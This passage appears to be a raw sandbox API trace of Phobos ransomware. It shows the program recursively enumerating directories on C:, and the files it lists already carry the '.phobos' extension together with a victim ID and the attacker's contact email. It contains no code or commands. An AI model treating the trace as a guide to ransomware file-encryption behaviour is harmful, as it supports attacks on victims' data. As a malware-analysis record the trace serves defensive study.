cFileName=".", cAlternateFileName="")) returned 0x7b5fe0 [0124.167] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.167] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x73275b92, ftCreationTime.dwHighDateTime=0x1d5120a, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.168] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc5139a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc5139a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc5139a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 1 [0124.168] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc5139a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc5139a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc5139a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 0 [0124.168] FindClose (in: hFindFile=0x7b5fe0 | out: hFindFile=0x7b5fe0) returned 1 [0124.168] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x3684070 | out: hHeap=0xe70000) returned 1 [0124.168] FindNextFileW (in: hFindFile=0x7b5da0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x73275b92, ftLastAccessTime.dwHighDateTime=0x1d5120a, ftLastWriteTime.dwLowDateTime=0x73275b92, ftLastWriteTime.dwHighDateTime=0x1d5120a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0124.168] FindClose (in: hFindFile=0x7b5da0 | out: hFindFile=0x7b5da0) returned 1 [0124.168] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x3674068 | out: hHeap=0xe70000) returned 1 [0124.168] FindNextFileW (in: hFindFile=0x7b6120, lpFindFileData=0x3c3f640 | out: lpFindFileData=0x3c3f640*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c3f868, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0124.168] SetEvent (hEvent=0x514) returned 1 [0124.168] ResetEvent (hEvent=0x518) returned 1 [0124.168] FindNextFileW (in: hFindFile=0x7b6120, lpFindFileData=0x3c3f640 | out: lpFindFileData=0x3c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf31d3740, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf31d3740, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c3f868, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0124.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\*", lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf31d3740, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf31d3740, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x7b5ee0 [0124.227] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf31d3740, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf31d3740, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0124.227] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xece1afab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece1afab, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1025", cAlternateFileName="")) returned 1 [0124.228] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xece1afab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece1afab, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5be0 [0124.228] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xece1afab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece1afab, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.228] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece68601, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xece68601, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1e82, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.229] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece68601, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xece68601, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf4c310, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x122f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.229] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.229] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.229] FindClose (in: hFindFile=0x7b5be0 | out: hFindFile=0x7b5be0) returned 1 [0124.229] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.230] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecdf4c64, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1028", cAlternateFileName="")) returned 1 [0124.230] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecdf4c64, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.263] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecdf4c64, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.263] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf4c310, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf4c310, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf98766, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.263] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecfe4caa, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.264] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece68601, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.264] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdf4c64, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecdf4c64, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xece68601, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.264] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.264] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.264] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1029", cAlternateFileName="")) returned 1 [0124.264] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5be0 [0124.266] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.266] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf98766, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf98766, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecfbea32, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.266] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecfbea32, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecfbea32, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed031088, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13d52, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.266] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece68601, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xece68601, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.266] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece68601, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xece68601, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecf7252e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.266] FindClose (in: hFindFile=0x7b5be0 | out: hFindFile=0x7b5be0) returned 1 [0124.266] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.266] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1030", cAlternateFileName="")) returned 1 [0124.267] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5be0 [0124.268] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.268] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecfe4caa, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecfe4caa, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xdf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.268] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed031088, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x130c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.268] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.269] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.269] FindClose (in: hFindFile=0x7b5be0 | out: hFindFile=0x7b5be0) returned 1 [0124.269] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.269] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1031", cAlternateFileName="")) returned 1 [0124.269] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.271] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.271] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed031088, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed031088, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0572ae, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xe52, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.271] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed031088, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed031088, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed220f6c, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.271] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, 